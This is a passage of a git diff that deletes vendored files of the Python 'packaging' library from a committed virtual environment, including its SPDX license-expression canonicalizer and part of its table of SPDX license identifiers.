- - Must be inside loops, as only one error can be collected at a time. - """ - error_classes = err_cls or (Exception,) - try: - yield - except ExceptionGroup as error: - self.errors.extend(error.exceptions) - except error_classes as error: - self.errors.append(error) - - def error( - self, - error: Exception, - ) -> None: - """Add an error to the list.""" - self.errors.append(error) diff --git a/venv/Lib/site-packages/packaging/licenses/__init__.py b/venv/Lib/site-packages/packaging/licenses/__init__.py deleted file mode 100644 index f95ac02e230cc465698fa99ec5424bb2baa810ac..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/licenses/__init__.py +++ /dev/null @@ -1,198 +0,0 @@ -####################################################################################### -# -# Adapted from: -# https://github.com/pypa/hatch/blob/5352e44/backend/src/hatchling/licenses/parse.py -# -# MIT License -# -# Copyright (c) 2017-present Ofek Lev -# -# Permission is hereby granted, free of charge, to any person obtaining a copy of this -# software and associated documentation files (the "Software"), to deal in the Software -# without restriction, including without limitation the rights to use, copy, modify, -# merge, publish, distribute, sublicense, and/or sell copies of the Software, and to -# permit persons to whom the Software is furnished to do so, subject to the following -# conditions: -# -# The above copyright notice and this permission notice shall be included in all copies -# or substantial portions of the Software. -# -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, -# INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A -# PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT -# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF -# CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE -# OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. -# -# -# With additional allowance of arbitrary `LicenseRef-` identifiers, not just -# `LicenseRef-Public-Domain` and `LicenseRef-Proprietary`. -# -####################################################################################### -from __future__ import annotations - -import re -from typing import NewType, cast - -from ._spdx import EXCEPTIONS, LICENSES - -__all__ = [ - "InvalidLicenseExpression", - "NormalizedLicenseExpression", - "canonicalize_license_expression", -] - - -# Simple __dir__ implementation since there are no public submodules -def __dir__() -> list[str]: - return __all__ - - -license_ref_allowed = re.compile("^[A-Za-z0-9.-]+$") - -NormalizedLicenseExpression = NewType("NormalizedLicenseExpression", str) -""" -A :class:`typing.NewType` of :class:`str`, representing a normalized -License-Expression. -""" - - -class InvalidLicenseExpression(ValueError): - """Raised when a license-expression string is invalid - - >>> from packaging.licenses import canonicalize_license_expression - >>> canonicalize_license_expression("invalid") - Traceback (most recent call last): - ... - packaging.licenses.InvalidLicenseExpression: Unknown license: 'invalid' - """ - - -def canonicalize_license_expression( - raw_license_expression: str, -) -> NormalizedLicenseExpression: - """ - This function takes a valid License-Expression, and returns the normalized - form of it. - - The return type is typed as :class:`NormalizedLicenseExpression`. This - allows type checkers to help require that a string has passed through this - function before use. - - :param str raw_license_expression: The License-Expression to canonicalize. - :raises InvalidLicenseExpression: If the License-Expression is invalid due to an - invalid/unknown license identifier or invalid syntax. - - .. doctest:: - - >>> from packaging.licenses import canonicalize_license_expression - >>> canonicalize_license_expression("mit") - 'MIT' - >>> canonicalize_license_expression("mit and (apache-2.0 or bsd-2-clause)") - 'MIT AND (Apache-2.0 OR BSD-2-Clause)' - >>> canonicalize_license_expression("(mit") - Traceback (most recent call last): - ... - InvalidLicenseExpression: Invalid license expression: '(mit' - >>> canonicalize_license_expression("Use-it-after-midnight") - Traceback (most recent call last): - ... - InvalidLicenseExpression: Unknown license: 'Use-it-after-midnight' - """ - if not raw_license_expression: - message = f"Invalid license expression: {raw_license_expression!r}" - raise InvalidLicenseExpression(message) - - # Pad any parentheses so tokenization can be achieved by merely splitting on - # whitespace. - license_expression = raw_license_expression.replace("(", " ( ").replace(")", " ) ") - licenseref_prefix = "LicenseRef-" - license_refs = { - ref.lower(): "LicenseRef-" + ref[len(licenseref_prefix) :] - for ref in license_expression.split() - if ref.lower().startswith(licenseref_prefix.lower()) - } - - # Normalize to lower case so we can look up licenses/exceptions - # and so boolean operators are Python-compatible. - license_expression = license_expression.lower() - - tokens = license_expression.split() - - # Rather than implementing a parenthesis/boolean logic parser, create an - # expression that Python can parse. Everything that is not involved with the - # grammar itself is replaced with the placeholder `False` and the resultant - # expression should become a valid Python expression. - python_tokens = [] - for token in tokens: - if token not in {"or", "and", "with", "(", ")"}: - python_tokens.append("False") - elif token == "with": - python_tokens.append("or") - elif ( - token == "(" - and python_tokens - and python_tokens[-1] not in {"or", "and", "("} - ) or (token == ")" and python_tokens and python_tokens[-1] == "("): - message = f"Invalid license expression: {raw_license_expression!r}" - raise InvalidLicenseExpression(message) - else: - python_tokens.append(token) - - python_expression = " ".join(python_tokens) - try: - compile(python_expression, "", "eval") - except SyntaxError: - message = f"Invalid license expression: {raw_license_expression!r}" - raise InvalidLicenseExpression(message) from None - - # Take a final pass to check for unknown licenses/exceptions. - normalized_tokens = [] - last_license_start = False - for index, token in enumerate(tokens): - if token in {"or", "and", "with", "(", ")"}: - if token == "with" and ( - not last_license_start - or index + 1 == len(tokens) - or tokens[index + 1] in {"or", "and", "with", "(", ")"} - ): - message = f"Invalid license expression: {raw_license_expression!r}" - raise InvalidLicenseExpression(message) - normalized_tokens.append(token.upper()) - last_license_start = False - continue - - if normalized_tokens and normalized_tokens[-1] == "WITH": - if token not in EXCEPTIONS: - message = f"Unknown license exception: {token!r}" - raise InvalidLicenseExpression(message) - - normalized_tokens.append(EXCEPTIONS[token]["id"]) - last_license_start = False - else: - if token.endswith("+"): - final_token = token[:-1] - suffix = "+" - else: - final_token = token - suffix = "" - - if final_token.startswith("licenseref-"): - license_ref_id = final_token[len("licenseref-") :] - if suffix or not license_ref_allowed.match(license_ref_id): - message = f"Invalid licenseref: {token!r}" - raise InvalidLicenseExpression(message) - normalized_tokens.append(license_refs[final_token]) - else: - if final_token not in LICENSES: - message = f"Unknown license: {final_token!r}" - raise InvalidLicenseExpression(message) - normalized_tokens.append(LICENSES[final_token]["id"] + suffix) - last_license_start = True - - normalized_expression = " ".join(normalized_tokens) - - return cast( - "NormalizedLicenseExpression", - normalized_expression.replace("( ", "(").replace(" )", ")"), - ) diff --git a/venv/Lib/site-packages/packaging/licenses/_spdx.py b/venv/Lib/site-packages/packaging/licenses/_spdx.py deleted file mode 100644 index a277af28220b6dbe4599471104d1c7a2bd1e1288..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/packaging/licenses/_spdx.py +++ /dev/null @@ -1,799 +0,0 @@ - -from __future__ import annotations - -from typing import TypedDict - -class SPDXLicense(TypedDict): - id: str - deprecated: bool - -class SPDXException(TypedDict): - id: str - deprecated: bool - - -VERSION = '3.27.0' - -LICENSES: dict[str, SPDXLicense] = { - '0bsd': {'id': '0BSD', 'deprecated': False}, - '3d-slicer-1.0': {'id': '3D-Slicer-1.0', 'deprecated': False}, - 'aal': {'id': 'AAL', 'deprecated': False}, - 'abstyles': {'id': 'Abstyles', 'deprecated': False}, - 'adacore-doc': {'id': 'AdaCore-doc', 'deprecated': False}, - 'adobe-2006': {'id': 'Adobe-2006', 'deprecated': False}, - 'adobe-display-postscript': {'id': 'Adobe-Display-PostScript', 'deprecated': False}, - 'adobe-glyph': {'id': 'Adobe-Glyph', 'deprecated': False}, - 'adobe-utopia': {'id': 'Adobe-Utopia', 'deprecated': False}, - 'adsl': {'id': 'ADSL', 'deprecated': False}, - 'afl-1.1': {'id': 'AFL-1.1', 'deprecated': False}, - 'afl-1.2': {'id': 'AFL-1.2', 'deprecated': False}, - 'afl-2.0': {'id': 'AFL-2.0', 'deprecated': False}, - 'afl-2.1': {'id': 'AFL-2.1', 'deprecated': False}, - 'afl-3.0': {'id': 'AFL-3.0', 'deprecated': False}, - 'afmparse': {'id': 'Afmparse', 'deprecated': False}, - 'agpl-1.0': {'id': 'AGPL-1.0', 'deprecated': True}, - 'agpl-1.0-only': {'id': 'AGPL-1.0-only', 'deprecated': False}, - 'agpl-1.0-or-later': {'id': 'AGPL-1.0-or-later', 'deprecated': False}, - 'agpl-3.0': {'id': 'AGPL-3.0', 'deprecated': True}, - 'agpl-3.0-only': {'id': 'AGPL-3.0-only', 'deprecated': False}, - 'agpl-3.0-or-later': {'id': 'AGPL-3.0-or-later', 'deprecated': False}, - 'aladdin': {'id': 'Aladdin', 'deprecated': False}, - 'amd-newlib': {'id': 'AMD-newlib', 'deprecated': False}, - 'amdplpa': {'id': 'AMDPLPA', 'deprecated': False}, - 'aml': {'id': 'AML', 'deprecated': False}, - 'aml-glslang': {'id': 'AML-glslang', 'deprecated': False}, - 'ampas': {'id': 'AMPAS', 'deprecated': False}, - 'antlr-pd': {'id': 'ANTLR-PD', 'deprecated': False}, - 'antlr-pd-fallback': {'id': 'ANTLR-PD-fallback', 'deprecated': False}, - 'any-osi': {'id': 'any-OSI', 'deprecated': False}, - 'any-osi-perl-modules': {'id': 'any-OSI-perl-modules', 'deprecated': False}, - 'apache-1.0': {'id': 'Apache-1.0', 'deprecated': False}, - 'apache-1.1': {'id': 'Apache-1.1', 'deprecated': False}, - 'apache-2.0': {'id': 'Apache-2.0', 'deprecated': False}, - 'apafml': {'id': 'APAFML', 'deprecated': False}, - 'apl-1.0': {'id': 'APL-1.0', 'deprecated': False}, - 'app-s2p': {'id': 'App-s2p', 'deprecated': False}, - 'apsl-1.0': {'id': 'APSL-1.0', 'deprecated': False}, - 'apsl-1.1': {'id': 'APSL-1.1', 'deprecated': False}, - 'apsl-1.2': {'id': 'APSL-1.2', 'deprecated': False}, - 'apsl-2.0': {'id': 'APSL-2.0', 'deprecated': False}, - 'arphic-1999': {'id': 'Arphic-1999', 'deprecated': False}, - 'artistic-1.0': {'id': 'Artistic-1.0', 'deprecated': False}, - 'artistic-1.0-cl8': {'id': 'Artistic-1.0-cl8', 'deprecated': False}, - 'artistic-1.0-perl': {'id': 'Artistic-1.0-Perl', 'deprecated': False}, - 'artistic-2.0': {'id': 'Artistic-2.0', 'deprecated': False}, - 'artistic-dist': {'id': 'Artistic-dist', 'deprecated': False}, - 'aspell-ru': {'id': 'Aspell-RU', 'deprecated': False}, - 'aswf-digital-assets-1.0': {'id': 'ASWF-Digital-Assets-1.0', 'deprecated': False}, - 'aswf-digital-assets-1.1': {'id': 'ASWF-Digital-Assets-1.1', 'deprecated': False}, - 'baekmuk': {'id': 'Baekmuk', 'deprecated': False}, - 'bahyph': {'id': 'Bahyph', 'deprecated': False}, - 'barr': {'id': 'Barr', 'deprecated': False}, - 'bcrypt-solar-designer': {'id': 'bcrypt-Solar-Designer', 'deprecated': False}, - 'beerware': {'id': 'Beerware', 'deprecated': False}, - 'bitstream-charter': {'id': 'Bitstream-Charter', 'deprecated': False}, - 'bitstream-vera': {'id': 'Bitstream-Vera', 'deprecated': False}, - 'bittorrent-1.0': {'id': 'BitTorrent-1.0', 'deprecated': False}, - 'bittorrent-1.1': {'id': 'BitTorrent-1.1', 'deprecated': False}, - 'blessing': {'id': 'blessing', 'deprecated': False}, - 'blueoak-1.0.0': {'id': 'BlueOak-1.0.0', 'deprecated': False}, - 'boehm-gc': {'id': 'Boehm-GC', 'deprecated': False}, - 'boehm-gc-without-fee': {'id': 'Boehm-GC-without-fee', 'deprecated': False}, - 'borceux': {'id': 'Borceux', 'deprecated': False}, - 'brian-gladman-2-clause': {'id': 'Brian-Gladman-2-Clause', 'deprecated': False}, - 'brian-gladman-3-clause': {'id': 'Brian-Gladman-3-Clause', 'deprecated': False}, - 'bsd-1-clause': {'id': 'BSD-1-Clause', 'deprecated': False}, - 'bsd-2-clause': {'id': 'BSD-2-Clause', 'deprecated': False}, - 'bsd-2-clause-darwin': {'id': 'BSD-2-Clause-Darwin', 'deprecated': False}, - 'bsd-2-clause-first-lines': {'id': 'BSD-2-Clause-first-lines', 'deprecated': False}, - 'bsd-2-clause-freebsd': {'id': 'BSD-2-Clause-FreeBSD', 'deprecated': True}, - 'bsd-2-clause-netbsd': {'id': 'BSD-2-Clause-NetBSD', 'deprecated': True}, - 'bsd-2-clause-patent': {'id': 'BSD-2-Clause-Patent', 'deprecated': False}, - 'bsd-2-clause-pkgconf-disclaimer': {'id': 'BSD-2-Clause-pkgconf-disclaimer', 'deprecated': False}, - 'bsd-2-clause-views': {'id': 'BSD-2-Clause-Views', 'deprecated': False}, - 'bsd-3-clause': {'id': 'BSD-3-Clause', 'deprecated': False}, - 'bsd-3-clause-acpica': {'id': 'BSD-3-Clause-acpica', 'deprecated': False}, - 'bsd-3-clause-attribution': {'id': 'BSD-3-Clause-Attribution', 'deprecated': False}, - 'bsd-3-clause-clear': {'id': 'BSD-3-Clause-Clear', 'deprecated': False}, - 'bsd-3-clause-flex': {'id': 'BSD-3-Clause-flex', 'deprecated': False}, - 'bsd-3-clause-hp': {'id': 'BSD-3-Clause-HP', 'deprecated': False}, - 'bsd-3-clause-lbnl': {'id': 'BSD-3-Clause-LBNL', 'deprecated': False}, - 'bsd-3-clause-modification': {'id': 'BSD-3-Clause-Modification', 'deprecated': False}, - 'bsd-3-clause-no-military-license': {'id': 'BSD-3-Clause-No-Military-License', 'deprecated': False}, - 'bsd-3-clause-no-nuclear-license': {'id': 'BSD-3-Clause-No-Nuclear-License', 'deprecated': False}, - 'bsd-3-clause-no-nuclear-license-2014': {'id': 'BSD-3-Clause-No-Nuclear-License-2014', 'deprecated': False}, - 'bsd-3-clause-no-nuclear-warranty': {'id': 'BSD-3-Clause-No-Nuclear-Warranty', 'deprecated': False}, - 'bsd-3-clause-open-mpi': {'id': 'BSD-3-Clause-Open-MPI', 'deprecated': False}, - 'bsd-3-clause-sun': {'id': 'BSD-3-Clause-Sun', 'deprecated': False}, - 'bsd-4-clause': {'id': 'BSD-4-Clause', 'deprecated': False}, - 'bsd-4-clause-shortened': {'id': 'BSD-4-Clause-Shortened', 'deprecated': False}, - 'bsd-4-clause-uc': {'id': 'BSD-4-Clause-UC', 'deprecated': False}, - 'bsd-4.3reno': {'id': 'BSD-4.3RENO', 'deprecated': False}, - 'bsd-4.3tahoe': {'id': 'BSD-4.3TAHOE', 'deprecated': False}, - 'bsd-advertising-acknowledgement': {'id': 'BSD-Advertising-Acknowledgement', 'deprecated': False}, - 'bsd-attribution-hpnd-disclaimer': {'id': 'BSD-Attribution-HPND-disclaimer', 'deprecated': False}, - 'bsd-inferno-nettverk': {'id': 'BSD-Inferno-Nettverk', 'deprecated': False}, - 'bsd-protection': {'id': 'BSD-Protection', 'deprecated': False}, - 'bsd-source-beginning-file': {'id': 'BSD-Source-beginning-file', 'deprecated': False}, - 'bsd-source-code': {'id': 'BSD-Source-Code', 'deprecated': False}, - 'bsd-systemics': {'id': 'BSD-Systemics', 'deprecated': False}, - 'bsd-systemics-w3works': {'id': 'BSD-Systemics-W3Works', 'deprecated': False}, - 'bsl-1.0': {'id': 'BSL-1.0', 'deprecated': False}, - 'busl-1.1': {'id': 'BUSL-1.1', 'deprecated': False}, - 'bzip2-1.0.5': {'id': 'bzip2-1.0.5', 'deprecated': True}, - 'bzip2-1.0.6': {'id': 'bzip2-1.0.6', 'deprecated': False}, - 'c-uda-1.0': {'id': 'C-UDA-1.0', 'deprecated': False}, - 'cal-1.0': {'id': 'CAL-1.0', 'deprecated': False}, - 'cal-1.0-combined-work-exception': {'id': 'CAL-1.0-Combined-Work-Exception', 'deprecated': False}, - 'caldera': {'id': 'Caldera', 'deprecated': False}, - 'caldera-no-preamble': {'id': 'Caldera-no-preamble', 'deprecated': False}, - 'catharon': {'id': 'Catharon', 'deprecated': False}, - 'catosl-1.1': {'id': 'CATOSL-1.1', 'deprecated': False}, - 'cc-by-1.0': {'id': 'CC-BY-1.0', 'deprecated': False}, - 'cc-by-2.0': {'id': 'CC-BY-2.0', 'deprecated': False}, - 'cc-by-2.5': {'id': 'CC-BY-2.5', 'deprecated': False}, - 'cc-by-2.5-au': {'id': 'CC-BY-2.5-AU', 'deprecated': False}, - 'cc-by-3.0': {'id': 'CC-BY-3.0', 'deprecated': False}, - 'cc-by-3.0-at': {'id': 'CC-BY-3.0-AT', 'deprecated': False}, - 'cc-by-3.0-au': {'id': 'CC-BY-3.0-AU', 'deprecated': False}, - 'cc-by-3.0-de': {'id': 'CC-BY-3.0-DE', 'deprecated': False}, - 'cc-by-3.0-igo': {'id': 'CC-BY-3.0-IGO', 'deprecated': False}, - 'cc-by-3.0-nl': {'id': 'CC-BY-3.0-NL', 'deprecated': False}, - 'cc-by-3.0-us': {'id': 'CC-BY-3.0-US', 'deprecated': False}, - 'cc-by-4.0': {'id': 'CC-BY-4.0', 'deprecated': False}, - 'cc-by-nc-1.0': {'id': 'CC-BY-NC-1.0', 'deprecated': False}, - 'cc-by-nc-2.0': {'id': 'CC-BY-NC-2.0', 'deprecated': False}, - 'cc-by-nc-2.5': {'id': 'CC-BY-NC-2.5', 'deprecated': False}, - 'cc-by-nc-3.0': {'id': 'CC-BY-NC-3.0', 'deprecated': False}, - 'cc-by-nc-3.0-de': {'id': 'CC-BY-NC-3.0-DE', 'deprecated': False}, - 'cc-by-nc-4.0': {'id': 'CC-BY-NC-4.0', 'deprecated': False}, - 'cc-by-nc-nd-1.0': {'id': 'CC-BY-NC-ND-1.0', 'deprecated': False}, - 'cc-by-nc-nd-2.0': {'id': 'CC-BY-NC-ND-2.0', 'deprecated': False}, - 'cc-by-nc-nd-2.5': {'id': 'CC-BY-NC-ND-2.5', 'deprecated': False}, - 'cc-by-nc-nd-3.0': {'id': 'CC-BY-NC-ND-3.0', 'deprecated': False}, - 'cc-by-nc-nd-3.0-de': {'id': 'CC-BY-NC-ND-3.0-DE', 'deprecated': False}, - 'cc-by-nc-nd-3.0-igo': {'id': 'CC-BY-NC-ND-3.0-IGO', 'deprecated': False}, - 'cc-by-nc-nd-4.0': {'id': 'CC-BY-NC-ND-4.0', 'deprecated': False}, - 'cc-by-nc-sa-1.0': {'id': 'CC-BY-NC-SA-1.0', 'deprecated': False}, - 'cc-by-nc-sa-2.0': {'id': 'CC-BY-NC-SA-2.0', 'deprecated': False}, - 'cc-by-nc-sa-2.0-de': {'id': 'CC-BY-NC-SA-2.0-DE', 'deprecated': False}, - 'cc-by-nc-sa-2.0-fr': {'id': 'CC-BY-NC-SA-2.0-FR', 'deprecated': False}, - 'cc-by-nc-sa-2.0-uk': {'id': 'CC-BY-NC-SA-2.0-UK', 'deprecated': False}, - 'cc-by-nc-sa-2.5': {'id': 'CC-BY-NC-SA-2.5', 'deprecated': False}, - 'cc-by-nc-sa-3.0': {'id': 'CC-BY-NC-SA-3.0', 'deprecated': False}, - 'cc-by-nc-sa-3.0-de': {'id': 'CC-BY-NC-SA-3.0-DE', 'deprecated': False}, - 'cc-by-nc-sa-3.0-igo': {'id': 'CC-BY-NC-SA-3.0-IGO', 'deprecated': False}, - 'cc-by-nc-sa-4.0': {'id': 'CC-BY-NC-SA-4.0', 'deprecated': False}, - 'cc-by-nd-1.0': {'id': 'CC-BY-ND-1.0', 'deprecated': False}, - 'cc-by-nd-2.0': {'id': 'CC-BY-ND-2.0', 'deprecated': False}, - 'cc-by-nd-2.5': {'id': 'CC-BY-ND-2.5', 'deprecated': False}, - 'cc-by-nd-3.0': {'id': 'CC-BY-ND-3.0', 'deprecated': False}, - 'cc-by-nd-3.0-de': {'id': 'CC-BY-ND-3.0-DE', 'deprecated': False}, - 'cc-by-nd-4.0': {'id': 'CC-BY-ND-4.0', 'deprecated': False}, - 'cc-by-sa-1.0': {'id': 'CC-BY-SA-1.0', 'deprecated': False}, - 'cc-by-sa-2.0': {'id': 'CC-BY-SA-2.0', 'deprecated': False}, - 'cc-by-sa-2.0-uk': {'id': 'CC-BY-SA-2.0-UK', 'deprecated': False}, - 'cc-by-sa-2.1-jp': {'id': 'CC-BY-SA-2.1-JP', 'deprecated': False}, - 'cc-by-sa-2.5': {'id': 'CC-BY-SA-2.5', 'deprecated': False}, - 'cc-by-sa-3.0': {'id': 'CC-BY-SA-3.0', 'deprecated': False}, - 'cc-by-sa-3.0-at': {'id': 'CC-BY-SA-3.0-AT', 'deprecated': False}, - 'cc-by-sa-3.0-de': {'id': 'CC-BY-SA-3.0-DE', 'deprecated': False}, - 'cc-by-sa-3.0-igo': {'id': 'CC-BY-SA-3.0-IGO', 'deprecated': False}, - 'cc-by-sa-4.0': {'id': 'CC-BY-SA-4.0', 'deprecated': False}, - 'cc-pddc': {'id': 'CC-PDDC', 'deprecated': False}, - 'cc-pdm-1.0': {'id': 'CC-PDM-1.0', 'deprecated': False}, - 'cc-sa-1.0': {'id': 'CC-SA-1.0', 'deprecated': False}, - 'cc0-1.0': {'id': 'CC0-1.0', 'deprecated': False}, - 'cddl-1.0': {'id': 'CDDL-1.0', 'deprecated': False}, - 'cddl-1.1': {'id': 'CDDL-1.1', 'deprecated': False}, - 'cdl-1.0': {'id': 'CDL-1.0', 'deprecated': False}, - 'cdla-permissive-1.0': {'id': 'CDLA-Permissive-1.0', 'deprecated': False}, - 'cdla-permissive-2.0': {'id': 'CDLA-Permissive-2.0', 'deprecated': False}, - 'cdla-sharing-1.0': {'id': 'CDLA-Sharing-1.0', 'deprecated': False}, - 'cecill-1.0': {'id': 'CECILL-1.0', 'deprecated': False}, - 'cecill-1.1': {'id': 'CECILL-1.1', 'deprecated': False}, - 'cecill-2.0': {'id': 'CECILL-2.0', 'deprecated': False}, - 'cecill-2.1': {'id': 'CECILL-2.1', 'deprecated': False}, - 'cecill-b': {'id': 'CECILL-B', 'deprecated': False}, - 'cecill-c': {'id': 'CECILL-C', 'deprecated': False}, - 'cern-ohl-1.1': {'id': 'CERN-OHL-1.1', 'deprecated': False}, - 'cern-ohl-1.2': {'id': 'CERN-OHL-1.2', 'deprecated': False}, - 'cern-ohl-p-2.0': {'id': 'CERN-OHL-P-2.0', 'deprecated': False}, - 'cern-ohl-s-2.0': {'id': 'CERN-OHL-S-2.0', 'deprecated': False}, - 'cern-ohl-w-2.0': {'id': 'CERN-OHL-W-2.0', 'deprecated': False}, - 'cfitsio': {'id': 'CFITSIO', 'deprecated': False}, - 'check-cvs': {'id': 'check-cvs', 'deprecated': False}, - 'checkmk': {'id': 'checkmk', 'deprecated': False}, - 'clartistic': {'id': 'ClArtistic', 'deprecated': False}, - 'clips': {'id': 'Clips', 'deprecated': False}, - 'cmu-mach': {'id': 'CMU-Mach', 'deprecated': False}, - 'cmu-mach-nodoc': {'id': 'CMU-Mach-nodoc', 'deprecated': False}, - 'cnri-jython': {'id': 'CNRI-Jython', 'deprecated': False}, - 'cnri-python': {'id': 'CNRI-Python', 'deprecated': False}, - 'cnri-python-gpl-compatible': {'id': 'CNRI-Python-GPL-Compatible', 'deprecated': False}, - 'coil-1.0': {'id': 'COIL-1.0', 'deprecated': False}, - 'community-spec-1.0': {'id': 'Community-Spec-1.0', 'deprecated': False}, - 'condor-1.1': {'id': 'Condor-1.1', 'deprecated': False}, - 'copyleft-next-0.3.0': {'id': 'copyleft-next-0.3.0', 'deprecated': False}, - 'copyleft-next-0.3.1': {'id': 'copyleft-next-0.3.1', 'deprecated': False}, - 'cornell-lossless-jpeg': {'id': 'Cornell-Lossless-JPEG', 'deprecated': False}, - 'cpal-1.0': {'id': 'CPAL-1.0', 'deprecated': False}, - 'cpl-1.0': {'id': 'CPL-1.0', 'deprecated': False}, - 'cpol-1.02': {'id': 'CPOL-1.02', 'deprecated': False}, - 'cronyx': {'id': 'Cronyx', 'deprecated': False}, - 'crossword': {'id': 'Crossword', 'deprecated': False}, - 'cryptoswift': {'id': 'CryptoSwift', 'deprecated': False}, - 'crystalstacker': {'id': 'CrystalStacker', 'deprecated': False}, - 'cua-opl-1.0': {'id': 'CUA-OPL-1.0', 'deprecated': False}, - 'cube': {'id': 'Cube', 'deprecated': False}, - 'curl': {'id': 'curl', 'deprecated': False}, - 'cve-tou': {'id': 'cve-tou', 'deprecated': False}, - 'd-fsl-1.0': {'id': 'D-FSL-1.0', 'deprecated': False}, - 'dec-3-clause': {'id': 'DEC-3-Clause', 'deprecated': False}, - 'diffmark': {'id': 'diffmark', 'deprecated': False}, - 'dl-de-by-2.0': {'id': 'DL-DE-BY-2.0', 'deprecated': False}, - 'dl-de-zero-2.0': {'id': 'DL-DE-ZERO-2.0', 'deprecated': False}, - 'doc': {'id': 'DOC', 'deprecated': False}, - 'docbook-dtd': {'id': 'DocBook-DTD', 'deprecated': False}, - 'docbook-schema': {'id': 'DocBook-Schema', 'deprecated': False}, - 'docbook-stylesheet': {'id': 'DocBook-Stylesheet', 'deprecated': False}, - 'docbook-xml': {'id': 'DocBook-XML', 'deprecated': False}, - 'dotseqn': {'id': 'Dotseqn', 'deprecated': False}, - 'drl-1.0': {'id': 'DRL-1.0', 'deprecated': False}, - 'drl-1.1': {'id': 'DRL-1.1', 'deprecated': False}, - 'dsdp': {'id': 'DSDP', 'deprecated': False}, - 'dtoa': {'id': 'dtoa', 'deprecated': False}, - 'dvipdfm': {'id': 'dvipdfm', 'deprecated': False}, - 'ecl-1.0': {'id': 'ECL-1.0', 'deprecated': False}, - 'ecl-2.0': {'id': 'ECL-2.0', 'deprecated': False}, - 'ecos-2.0': {'id': 'eCos-2.0', 'deprecated': True}, - 'efl-1.0': {'id': 'EFL-1.0', 'deprecated': False}, - 'efl-2.0': {'id': 'EFL-2.0', 'deprecated': False}, - 'egenix': {'id': 'eGenix', 'deprecated': False}, - 'elastic-2.0': {'id': 'Elastic-2.0', 'deprecated': False}, - 'entessa': {'id': 'Entessa', 'deprecated': False}, - 'epics': {'id': 'EPICS', 'deprecated': False}, - 'epl-1.0': {'id': 'EPL-1.0', 'deprecated': False}, - 'epl-2.0': {'id': 'EPL-2.0', 'deprecated': False}, - 'erlpl-1.1': {'id': 'ErlPL-1.1', 'deprecated': False}, - 'etalab-2.0': {'id': 'etalab-2.0', 'deprecated': False}, - 'eudatagrid': {'id': 'EUDatagrid', 'deprecated': False}, - 'eupl-1.0': {'id': 'EUPL-1.0', 'deprecated': False}, - 'eupl-1.1': {'id': 'EUPL-1.1', 'deprecated': False}, - 'eupl-1.2': {'id': 'EUPL-1.2', 'deprecated': False}, - 'eurosym': {'id': 'Eurosym', 'deprecated': False}, - 'fair': {'id': 'Fair', 'deprecated': False}, - 'fbm': {'id': 'FBM', 'deprecated': False}, - 'fdk-aac': {'id': 'FDK-AAC', 'deprecated': False}, - 'ferguson-twofish': {'id': 'Ferguson-Twofish', 'deprecated': False}, - 'frameworx-1.0': {'id': 'Frameworx-1.0', 'deprecated': False}, - 'freebsd-doc': {'id': 'FreeBSD-DOC', 'deprecated': False}, - 'freeimage': {'id': 'FreeImage', 'deprecated': False}, - 'fsfap': {'id': 'FSFAP', 'deprecated': False}, - 'fsfap-no-warranty-disclaimer': {'id': 'FSFAP-no-warranty-disclaimer', 'deprecated': False}, - 'fsful': {'id': 'FSFUL', 'deprecated': False}, - 'fsfullr': {'id': 'FSFULLR', 'deprecated': False}, - 'fsfullrsd': {'id': 'FSFULLRSD', 'deprecated': False}, - 'fsfullrwd': {'id': 'FSFULLRWD', 'deprecated': False}, - 'fsl-1.1-alv2': {'id': 'FSL-1.1-ALv2', 'deprecated': False}, - 'fsl-1.1-mit': {'id': 'FSL-1.1-MIT', 'deprecated': False}, - 'ftl': {'id': 'FTL', 'deprecated': False}, - 'furuseth': {'id': 'Furuseth', 'deprecated': False}, - 'fwlw': {'id': 'fwlw', 'deprecated': False}, - 'game-programming-gems': {'id': 'Game-Programming-Gems', 'deprecated': False}, - 'gcr-docs': {'id': 'GCR-docs', 'deprecated': False}, - 'gd': {'id': 'GD', 'deprecated': False}, - 'generic-xts': {'id': 'generic-xts', 'deprecated': False}, - 'gfdl-1.1': {'id': 'GFDL-1.1', 'deprecated': True}, - 'gfdl-1.1-invariants-only': {'id': 'GFDL-1.1-invariants-only', 'deprecated': False}, - 'gfdl-1.1-invariants-or-later': {'id': 'GFDL-1.1-invariants-or-later', 'deprecated': False}, - 'gfdl-1.1-no-invariants-only': {'id': 'GFDL-1.1-no-invariants-only', 'deprecated': False}, - 'gfdl-1.1-no-invariants-or-later': {'id': 'GFDL-1.1-no-invariants-or-later', 'deprecated': False}, - 'gfdl-1.1-only': {'id': 'GFDL-1.1-only', 'deprecated': False}, - 'gfdl-1.1-or-later': {'id': 'GFDL-1.1-or-later', 'deprecated': False}, - 'gfdl-1.2': {'id': 'GFDL-1.2', 'deprecated': True}, - 'gfdl-1.2-invariants-only': {'id': 'GFDL-1.2-invariants-only', 'deprecated': False}, - 'gfdl-1.2-invariants-or-later': {'id': 'GFDL-1.2-invariants-or-later', 'deprecated': False}, - 'gfdl-1.2-no-invariants-only': {'id': 'GFDL-1.2-no-invariants-only', 'deprecated': False}, - 'gfdl-1.2-no-invariants-or-later': {'id': 'GFDL-1.2-no-invariants-or-later', 'deprecated': False}, - 'gfdl-1.2-only': {'id': 'GFDL-1.2-only', 'deprecated': False}, - 'gfdl-1.2-or-later': {'id': 'GFDL-1.2-or-later', 'deprecated': False}, - 'gfdl-1.3': {'id': 'GFDL-1.3', 'deprecated': True}, - 'gfdl-1.3-invariants-only': {'id': 'GFDL-1.3-invariants-only', 'deprecated': False}, - 'gfdl-1.3-invariants-or-later': {'id': 'GFDL-1.3-invariants-or-later', 'deprecated': False}, - 'gfdl-1.3-no-invariants-only': {'id': 'GFDL-1.3-no-invariants-only', 'deprecated': False}, - 'gfdl-1.3-no-invariants-or-later': {'id': 'GFDL-1.3-no-invariants-or-later', 'deprecated': False}, - 'gfdl-1.3-only': {'id': 'GFDL-1.3-only', 'deprecated': False}, - 'gfdl-1.3-or-later': {'id': 'GFDL-1.3-or-later', 'deprecated': False}, - 'giftware': {'id': 'Giftware', 'deprecated': False}, - 